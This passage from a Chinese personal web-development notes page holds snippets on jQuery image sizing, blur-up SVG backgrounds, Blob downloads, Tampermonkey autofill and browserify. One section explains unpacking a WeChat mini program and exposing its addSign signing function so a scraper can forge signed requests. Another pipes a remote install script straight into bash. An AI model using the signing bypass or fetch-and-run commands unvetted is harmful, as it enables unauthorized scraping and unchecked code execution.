class=\"o\">.</span><span class=\"n\">waitForImages</span><span class=\"p\">(</span><span class=\"n\">function</span><span class=\"p\">(){</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"p\">(</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"s2\">&quot;img&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">filter</span><span class=\"p\">(</span><span class=\"n\">function</span><span class=\"p\">(){</span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">this</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">height</span><span class=\"p\">()</span><span class=\"o\">&gt;</span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">documentElement</span><span class=\"o\">.</span><span class=\"n\">clientHeight</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mf\">0.8</span><span class=\"p\">})</span><span class=\"w\"> </span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"o\">.</span><span class=\"n\">css</span><span class=\"p\">(</span><span class=\"s2\">&quot;max-height&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;80vh&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"o\">.</span><span class=\"n\">css</span><span class=\"p\">(</span><span class=\"s2\">&quot;cursor&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;pointer&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"o\">.</span><span class=\"n\">on</span><span class=\"p\">(</span><span class=\"s2\">&quot;click&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"p\">(){</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">this</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">css</span><span class=\"p\">(</span><span class=\"s2\">&quot;max-height&quot;</span><span class=\"p\">)</span><span class=\"o\">!=</span><span class=\"s2\">&quot;100%&quot;</span><span class=\"p\">){</span>\n<span class=\"w\">            </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">this</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">css</span><span class=\"p\">(</span><span class=\"s2\">&quot;max-height&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;100%&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span>\n<span class=\"w\">        </span><span class=\"p\">}</span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">this</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">css</span><span class=\"p\">(</span><span class=\"s2\">&quot;max-height&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;80vh&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"s2\">&quot;html,body&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">animate</span><span class=\"p\">({</span><span class=\"n\">scrollTop</span><span class=\"p\">:</span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">this</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">position</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">top</span><span class=\"p\">},</span><span class=\"s2\">&quot;fast&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">});</span><span class=\"w\">  </span>\n<span class=\"p\">})});</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"css-inline\">CSS inline模糊预览图片<a class=\"headerlink\" href=\"#css-inline\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://css-tricks.com/the-blur-up-technique-for-loading-background-images/</p>\n<p>使用一张很大的图片作为背景的时候，可能需要一张inline到css中的模糊背景图，完整方案参见上述链接</p>\n<p>这里介绍从一张图片怎么变成模糊预览的inline CSS:</p>\n<ol>\n<li>首先把图片变成40x22大小，这个直接用Windows自带的画图工具即可完成</li>\n<li>然后丢给<a href=\"https://tinyjpg.com/\">tinyjpg.com</a>再压缩一下</li>\n<li>用<code>base64 -w0 &lt; x.jpg</code>获取图片的base64文本</li>\n<li>放入下述svg中，再交给这个svg encoder: https://codepen.io/yoksel/details/JDqvs/</li>\n</ol>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">&lt;</span><span class=\"n\">svg</span><span class=\"w\"> </span><span class=\"n\">xmlns</span><span class=\"o\">=</span><span class=\"ss\">&quot;http://www.w3.org/2000/svg&quot;</span>\n<span class=\"w\">     </span><span class=\"nl\">xmlns</span><span class=\"p\">:</span><span class=\"n\">xlink</span><span class=\"o\">=</span><span class=\"ss\">&quot;http://www.w3.org/1999/xlink&quot;</span>\n<span class=\"w\">     </span><span class=\"n\">width</span><span class=\"o\">=</span><span class=\"ss\">&quot;1500&quot;</span><span class=\"w\"> </span><span class=\"n\">height</span><span class=\"o\">=</span><span class=\"ss\">&quot;823&quot;</span>\n<span class=\"w\">     </span><span class=\"n\">viewBox</span><span class=\"o\">=</span><span class=\"ss\">&quot;0 0 1500 823&quot;</span><span class=\"o\">&gt;</span>\n<span class=\"w\">  </span><span class=\"o\">&lt;</span><span class=\"k\">filter</span><span class=\"w\"> </span><span class=\"n\">id</span><span class=\"o\">=</span><span class=\"ss\">&quot;blur&quot;</span><span class=\"w\"> </span><span class=\"n\">filterUnits</span><span class=\"o\">=</span><span class=\"ss\">&quot;userSpaceOnUse&quot;</span><span class=\"w\"> </span><span class=\"n\">color</span><span class=\"o\">-</span><span class=\"n\">interpolation</span><span class=\"o\">-</span><span class=\"n\">filters</span><span class=\"o\">=</span><span class=\"ss\">&quot;sRGB&quot;</span><span class=\"o\">&gt;</span>\n<span class=\"w\">    </span><span class=\"o\">&lt;</span><span class=\"n\">feGaussianBlur</span><span class=\"w\"> </span><span class=\"n\">stdDeviation</span><span class=\"o\">=</span><span class=\"ss\">&quot;20 20&quot;</span><span class=\"w\"> </span><span class=\"n\">edgeMode</span><span class=\"o\">=</span><span class=\"ss\">&quot;duplicate&quot;</span><span class=\"w\"> </span><span class=\"o\">/&gt;</span>\n<span class=\"w\">    </span><span class=\"o\">&lt;</span><span class=\"n\">feComponentTransfer</span><span class=\"o\">&gt;</span>\n<span class=\"w\">      </span><span class=\"o\">&lt;</span><span class=\"n\">feFuncA</span><span class=\"w\"> </span><span class=\"n\">type</span><span class=\"o\">=</span><span class=\"ss\">&quot;discrete&quot;</span><span class=\"w\"> </span><span class=\"n\">tableValues</span><span class=\"o\">=</span><span class=\"ss\">&quot;1 1&quot;</span><span class=\"w\"> </span><span class=\"o\">/&gt;</span>\n<span class=\"w\">    </span><span class=\"o\">&lt;/</span><span class=\"n\">feComponentTransfer</span><span class=\"o\">&gt;</span>\n<span class=\"w\">  </span><span class=\"o\">&lt;/</span><span class=\"k\">filter</span><span class=\"o\">&gt;</span>\n<span class=\"w\">  </span><span class=\"o\">&lt;</span><span class=\"nc\">image</span><span class=\"w\"> </span><span class=\"k\">filter</span><span class=\"o\">=</span><span class=\"ss\">&quot;url(#blur)&quot;</span>\n<span class=\"w\">         </span><span class=\"nl\">xlink</span><span class=\"p\">:</span><span class=\"n\">href</span><span class=\"o\">=</span><span class=\"ss\">&quot;data:image/jpeg;base64,/9j/4AAQSkZJ ...[truncated]...&quot;</span>\n<span class=\"w\">         </span><span class=\"n\">x</span><span class=\"o\">=</span><span class=\"ss\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"n\">y</span><span class=\"o\">=</span><span class=\"ss\">&quot;0&quot;</span>\n<span class=\"w\">         </span><span class=\"n\">height</span><span class=\"o\">=</span><span class=\"ss\">&quot;100%&quot;</span><span class=\"w\"> </span><span class=\"n\">width</span><span class=\"o\">=</span><span class=\"ss\">&quot;100%&quot;</span><span class=\"o\">/&gt;</span>\n<span class=\"o\">&lt;/</span><span class=\"n\">svg</span><span class=\"o\">&gt;</span>\n</code></pre></div>\n\n<p>注意encoder输出的内容还要加上<code>charset</code>，最终效果：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">background-image</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"nt\">url</span><span class=\"o\">(</span><span class=\"nt\">data</span><span class=\"p\">:</span><span class=\"nd\">image</span><span class=\"o\">/</span><span class=\"nt\">svg</span><span class=\"o\">+</span><span class=\"nt\">xml</span><span class=\"o\">;</span><span class=\"nt\">charset</span><span class=\"o\">=</span><span class=\"nt\">utf-8</span><span class=\"o\">,%</span><span class=\"nt\">3Csvg</span><span class=\"o\">...);</span>\n</code></pre></div>\n\n<h2 id=\"apost-jquery\">a链接改用POST请求 jQuery<a class=\"headerlink\" href=\"#apost-jquery\" title=\"Permanent link\">&para;</a></h2>\n<p>参考OneIndex，用POST方法表示来自文件列表的点击可以显示网页，默认的GET请求则下载文件</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">    </span>$(&#39;.file<span class=\"w\"> </span>a&#39;).each(function(){\n<span class=\"w\">        </span>$(this).on(&#39;click&#39;,<span class=\"w\"> </span>function<span class=\"w\"> </span>()<span class=\"w\"> </span>{\n<span class=\"w\">            </span>var<span class=\"w\"> </span>form<span class=\"w\"> </span>=<span class=\"w\"> </span>$(&#39;<span class=\"nt\">&lt;form</span><span class=\"w\"> </span><span class=\"na\">target=</span><span class=\"s\">_blank</span><span class=\"w\"> </span><span class=\"na\">method=</span><span class=\"s\">post</span><span class=\"nt\">&gt;&lt;/form&gt;</span>&#39;).attr(&#39;action&#39;,<span class=\"w\"> </span>$(this).attr(&#39;href&#39;)).get(0);\n<span class=\"w\">            </span>$(document.body).append(form);\n<span class=\"w\">            </span>form.submit();\n<span class=\"w\">            </span>$(form).remove();\n<span class=\"w\">            </span>return<span class=\"w\"> </span>false;\n<span class=\"w\">        </span>});\n<span class=\"w\">    </span>});\n</code></pre></div>\n\n<h2 id=\"blob\">创建一个文件下载 Blob<a class=\"headerlink\" href=\"#blob\" title=\"Permanent link\">&para;</a></h2>\n<p>参考OneIndex的<code>downall</code>方法</p>\n<p>Blob文档：https://developer.mozilla.org/zh-CN/docs/Web/API/Blob</p>\n<p>还可以看看这篇：https://juejin.im/post/59e35d0e6fb9a045030f1f35</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">     </span><span class=\"n\">let</span><span class=\"w\"> </span><span class=\"n\">blob</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">new</span><span class=\"w\"> </span><span class=\"n\">Blob</span><span class=\"p\">([</span><span class=\"s2\">&quot;文档内容&quot;</span><span class=\"p\">],</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">         </span><span class=\"n\">type</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"s1\">&#39;text/plain&#39;</span>\n<span class=\"w\">     </span><span class=\"p\">});</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"err\">构造</span><span class=\"n\">Blob对象</span>\n<span class=\"w\">     </span><span class=\"n\">let</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">createElement</span><span class=\"p\">(</span><span class=\"s1\">&#39;a&#39;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"err\">伪造一个</span><span class=\"n\">a对象</span>\n<span class=\"w\">     </span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">href</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">window</span><span class=\"o\">.</span><span class=\"n\">URL</span><span class=\"o\">.</span><span class=\"n\">createObjectURL</span><span class=\"p\">(</span><span class=\"n\">blob</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"err\">构造</span><span class=\"n\">href属性为Blob对象生成的链接</span>\n<span class=\"w\">     </span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">download</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;666.txt&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"err\">文件名称，你可以根据你的需要构造</span>\n<span class=\"w\">     </span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">click</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"err\">模拟点击</span>\n<span class=\"w\">     </span><span class=\"n\">a</span><span class=\"o\">.</span><span class=\"n\">remove</span><span class=\"p\">();</span>\n</code></pre></div>\n\n<h2 id=\"_8\">爬取微信小程序 朵朵校友圈<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h2>\n<ol>\n<li>在分身空间中安装微信，使用HttpCanary抓到wxapkg的url</li>\n<li>用<a href=\"https://gist.githubusercontent.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad/raw/a4d5f24f4d0102ce864008a86fdcc6e7888205c0/unwxapkg.py\">https://gist.githubusercontent.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad/raw/a4d5f24f4d0102ce864008a86fdcc6e7888205c0/unwxapkg.py</a> 这个工具对小程序解包</li>\n<li>搜索<code>duo_session</code>关键词，找到对应的util.js的addSign，用chrome开发人员工具格式化代码</li>\n<li>看了看整段代码 挺复杂的，懒得用python改写，就保留原样js使用nodejs调用吧</li>\n<li>burpsuite验证确实可行</li>\n</ol>\n<p>假设你已经有了addSign方法 那么就提供个http服务给python爬虫调用吧：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">require</span><span class=\"p\">(</span><span class=\"s2\">&quot;http&quot;</span><span class=\"p\">);</span>\n\n<span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">start</span><span class=\"p\">(</span><span class=\"n\">port</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">  </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">onRequest</span><span class=\"p\">(</span><span class=\"n\">request</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">response</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">postData</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">request</span><span class=\"o\">.</span><span class=\"n\">setEncoding</span><span class=\"p\">(</span><span class=\"s2\">&quot;utf8&quot;</span><span class=\"p\">);</span>\n\n<span class=\"w\">    </span><span class=\"n\">request</span><span class=\"o\">.</span><span class=\"n\">addListener</span><span class=\"p\">(</span><span class=\"s2\">&quot;data&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">postDataChunk</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">      </span><span class=\"n\">postData</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">postDataChunk</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">});</span>\n\n<span class=\"w\">    </span><span class=\"n\">request</span><span class=\"o\">.</span><span class=\"n\">addListener</span><span class=\"p\">(</span><span class=\"s2\">&quot;end&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">      </span><span class=\"o\">//</span><span class=\"n\">console</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">(</span><span class=\"n\">postData</span><span class=\"p\">);</span>\n<span class=\"w\">      </span><span class=\"n\">console</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">(</span><span class=\"s2\">&quot;[&quot;</span><span class=\"o\">+</span><span class=\"n\">new</span><span class=\"w\"> </span><span class=\"n\">Date</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">toLocaleString</span><span class=\"p\">()</span><span class=\"o\">+</span><span class=\"s2\">&quot;]&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">request</span><span class=\"o\">.</span><span class=\"n\">connection</span><span class=\"o\">.</span><span class=\"n\">remoteAddress</span><span class=\"p\">);</span>\n<span class=\"w\">      </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">JSON</span><span class=\"o\">.</span><span class=\"n\">parse</span><span class=\"p\">(</span><span class=\"n\">postData</span><span class=\"p\">);</span>\n<span class=\"w\">      </span><span class=\"n\">addSign</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">)</span>\n<span class=\"w\">      </span><span class=\"n\">response</span><span class=\"o\">.</span><span class=\"n\">writeHead</span><span class=\"p\">(</span><span class=\"mi\">200</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"s2\">&quot;Content-Type&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"s2\">&quot;text/html&quot;</span><span class=\"p\">});</span>\n<span class=\"w\">      </span><span class=\"n\">response</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">(</span><span class=\"n\">JSON</span><span class=\"o\">.</span><span class=\"n\">stringify</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">));</span>\n<span class=\"w\">      </span><span class=\"n\">response</span><span class=\"o\">.</span><span class=\"n\">end</span><span class=\"p\">();</span>\n<span class=\"w\">    </span><span class=\"p\">});</span>\n<span class=\"w\">  </span><span class=\"p\">}</span>\n\n<span class=\"w\">  </span><span class=\"n\">http</span><span class=\"o\">.</span><span class=\"n\">createServer</span><span class=\"p\">(</span><span class=\"n\">onRequest</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">listen</span><span class=\"p\">(</span><span class=\"n\">port</span><span class=\"p\">);</span>\n<span class=\"w\">  </span><span class=\"n\">console</span><span class=\"o\">.</span><span class=\"n\">log</span><span class=\"p\">(</span><span class=\"s2\">&quot;Server has started.&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">start</span><span class=\"p\">(</span><span class=\"mi\">8888</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<h2 id=\"_9\">保持特定元素相对于窗口的位置不变<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h2>\n<p>考虑这样一个场景：一个列表，每一项都可以点击来展开详情div，点击时同时隐藏其他的详情（同一时刻只显示一个）</p>\n<p>发现一个bug：特定情况下（不明原因），用户点击后页面位置发生了变化：前面的一个比较长的div隐藏后，当前的位置跳到了很下面的地方，需要手动翻回去，用户体验极差</p>\n<p>总而言之，进行一些页面DOM操作后，我们想保持特定元素<strong>相对于窗口的位置</strong>不变</p>\n<p>解决方案：在处理点击event时，先记录event.target相对于window的top位置，在详情div隐藏以及显示后再次记录top位置，这两个位置之间的差值就是需要滚动页面的多少</p>\n<p>当这个差值很小的时候，可以理解为允许的误差，实际没有可见的变化 无需操作</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">HTML</span><span class=\"o\">:</span>\n<span class=\"w\">   </span><span class=\"n\">onclick</span><span class=\"o\">=</span><span class=\"s2\">&quot;handle_click(event)&quot;</span>\n\n<span class=\"n\">JS</span><span class=\"o\">:</span>\n<span class=\"kd\">function </span><span class=\"nf\">fix_position</span><span class=\"o\">(</span><span class=\"err\">et,</span><span class=\"w\"> </span><span class=\"err\">oldt</span><span class=\"o\">){</span>\n<span class=\"w\">    </span><span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">newt</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">et</span><span class=\"o\">.</span><span class=\"na\">getBoundingClientRect</span><span class=\"o\">().</span><span class=\"n\">top</span><span class=\"o\">;</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"o\">(</span><span class=\"n\">Math</span><span class=\"o\">.</span><span class=\"na\">abs</span><span class=\"o\">(</span><span class=\"n\">oldt</span><span class=\"o\">-</span><span class=\"n\">newt</span><span class=\"o\">)&lt;</span><span class=\"mi\">2</span><span class=\"o\">)</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"o\">;</span>\n<span class=\"w\">    </span><span class=\"n\">$</span><span class=\"o\">(</span><span class=\"n\">window</span><span class=\"o\">).</span><span class=\"n\">scrollTop</span><span class=\"o\">(</span><span class=\"n\">$</span><span class=\"o\">(</span><span class=\"n\">window</span><span class=\"o\">).</span><span class=\"n\">scrollTop</span><span class=\"o\">()+</span><span class=\"n\">newt</span><span class=\"o\">-</span><span class=\"n\">oldt</span><span class=\"o\">);</span>\n<span class=\"o\">}</span>\n\n<span class=\"kd\">function </span><span class=\"nf\">handle_click</span><span class=\"o\">(</span><span class=\"err\">event</span><span class=\"o\">){</span>\n<span class=\"w\">    </span><span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">et</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">event</span><span class=\"o\">.</span><span class=\"na\">target</span><span class=\"o\">;</span>\n<span class=\"w\">    </span><span class=\"n\">var</span><span class=\"w\"> </span><span class=\"n\">oldt</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">et</span><span class=\"o\">.</span><span class=\"na\">getBoundingClientRect</span><span class=\"o\">().</span><span class=\"n\">top</span><span class=\"o\">;</span>\n<span class=\"w\">    </span><span class=\"c1\">//...code for hide and show divs...</span>\n<span class=\"w\">    </span><span class=\"n\">fix_position</span><span class=\"o\">(</span><span class=\"n\">et</span><span class=\"o\">,</span><span class=\"w\"> </span><span class=\"n\">oldt</span><span class=\"o\">);</span><span class=\"w\"> </span><span class=\"c1\">//also include this line to callback function if using ajax</span>\n<span class=\"o\">}</span>\n</code></pre></div>\n\n<h2 id=\"tampermonkey\">Tampermonkey自动填充用户名密码表单，并通过前端的表单检查<a class=\"headerlink\" href=\"#tampermonkey\" title=\"Permanent link\">&para;</a></h2>\n<p>感谢<a href=\"https://github.com/CoolSpring8\">@CoolSpring</a>的解决方案： https://v2ex.com/t/701749</p>\n<p>现代化的前端做了表单检查，直接对input赋值不能通过检查，需要调用被重载的setter函数：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kd\">function</span><span class=\"w\"> </span><span class=\"nx\">mytype</span><span class=\"p\">(</span><span class=\"nx\">input</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"nx\">value</span><span class=\"p\">){</span>\n<span class=\"w\">    </span><span class=\"kd\">var</span><span class=\"w\"> </span><span class=\"nx\">nativeInputValueSetter</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nb\">Object</span><span class=\"p\">.</span><span class=\"nx\">getOwnPropertyDescriptor</span><span class=\"p\">(</span><span class=\"nb\">window</span><span class=\"p\">.</span><span class=\"nx\">HTMLInputElement</span><span class=\"p\">.</span><span class=\"nx\">prototype</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s2\">&quot;value&quot;</span><span class=\"p\">).</span><span class=\"nx\">set</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"nx\">nativeInputValueSetter</span><span class=\"p\">.</span><span class=\"nx\">call</span><span class=\"p\">(</span><span class=\"nx\">input</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"nx\">value</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"nx\">input</span><span class=\"p\">.</span><span class=\"nx\">dispatchEvent</span><span class=\"p\">(</span><span class=\"ow\">new</span><span class=\"w\"> </span><span class=\"nx\">Event</span><span class=\"p\">(</span><span class=\"s1\">&#39;input&#39;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"nx\">bubbles</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"kc\">true</span><span class=\"p\">}));</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>用法：</p>\n<div class=\"codehilite\"><pre><span></span><code>    mytype(document.querySelectorAll(&quot;input&quot;)[0], USERNAME);\n    mytype(document.querySelectorAll(&quot;input&quot;)[1], PASSWORD);\n</code></pre></div>\n\n<h2 id=\"browserifynpmjs\">使用browserify将npm包打包成浏览器能用的js文件<a class=\"headerlink\" href=\"#browserifynpmjs\" title=\"Permanent link\">&para;</a></h2>\n<p>浏览器不支持require，怎么在浏览器里使用一个npm包呢？ <a href=\"http://browserify.org/\">browserify</a></p>\n<p>示例：我想在tampermonkey里使用<a href=\"https://github.com/testing-library/user-event\">user-event</a>这个npm包，\n用来完整地模拟用户的交互，这个其实是上一个问题的笨重版本的解决方案</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># 先安装目标库、browserify和terser</span>\n<span class=\"n\">cnpm</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"err\">@</span><span class=\"n\">testing</span><span class=\"o\">-</span><span class=\"n\">library</span><span class=\"o\">/</span><span class=\"n\">user</span><span class=\"o\">-</span><span class=\"n\">event</span><span class=\"w\"> </span><span class=\"err\">@</span><span class=\"n\">testing</span><span class=\"o\">-</span><span class=\"n\">library</span><span class=\"o\">/</span><span class=\"n\">dom</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">save</span><span class=\"o\">-</span><span class=\"n\">dev</span>\n<span class=\"n\">cnpm</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">g</span><span class=\"w\"> </span><span class=\"n\">browserify</span><span class=\"w\"> </span><span class=\"n\">terser</span>\n\n<span class=\"c1\"># 写一个main.js导入这个库，导出到window里</span>\n<span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">userEvent</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">require</span><span class=\"p\">(</span><span class=\"s1\">&#39;@testing-library/user-event&#39;</span><span class=\"p\">);</span>\n<span class=\"n\">window</span><span class=\"o\">.</span><span class=\"n\">userEvent</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">userEvent</span><span class=\"o\">.</span><span class=\"n\">default</span><span class=\"p\">;</span>\n\n<span class=\"c1\"># 执行打包</span>\n<span class=\"n\">browserify</span><span class=\"w\"> </span><span class=\"n\">main</span><span class=\"o\">.</span><span class=\"n\">js</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">terser</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">compress</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">mangle</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">bundle</span><span class=\"o\">.</span><span class=\"n\">js</span>\n\n<span class=\"c1\"># 在tampermonkey里使用</span>\n<span class=\"o\">//</span><span class=\"w\"> </span><span class=\"err\">@</span><span class=\"n\">require</span><span class=\"w\">      </span><span class=\"err\">上传到</span><span class=\"n\">cdn后的js地址</span>\n<span class=\"n\">userEvent</span><span class=\"o\">.</span><span class=\"n\">type</span><span class=\"p\">(</span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">querySelectorAll</span><span class=\"p\">(</span><span class=\"s2\">&quot;input&quot;</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">],</span><span class=\"w\"> </span><span class=\"n\">USERNAME</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<h2 id=\"ubuntunodejs\">Ubuntu安装nodejs<a class=\"headerlink\" href=\"#ubuntunodejs\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">curl</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">fsSL</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//deb.nodesource.com/setup_16.x | bash -</span>\n<span class=\"n\">curl</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">sL</span><span class=\"w\"> </span><span class=\"nl\">https:</span><span class=\"c1\">//dl.yarnpkg.com/debian/pubkey.gpg | gpg --dearmor | tee /usr/share/keyrings/yarnkey.gpg &gt;/dev/null</span>\n<span class=\"n\">echo</span><span class=\"w\"> </span><span class=\"s\">&quot;deb [signed-by=/usr/share/keyrings/yarnkey.gpg] https://dl.yarnpkg.com/debian stable main&quot;</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">tee</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">apt</span><span class=\"o\">/</span><span class=\"n\">sources</span><span class=\"p\">.</span><span class=\"n\">list</span><span class=\"p\">.</span><span class=\"n\">d</span><span class=\"o\">/</span><span class=\"n\">yarn</span><span class=\"p\">.</span><span class=\"n\">list</span>\n<span class=\"n\">apt</span><span class=\"w\"> </span><span class=\"n\">update</span><span class=\"w\"> </span><span 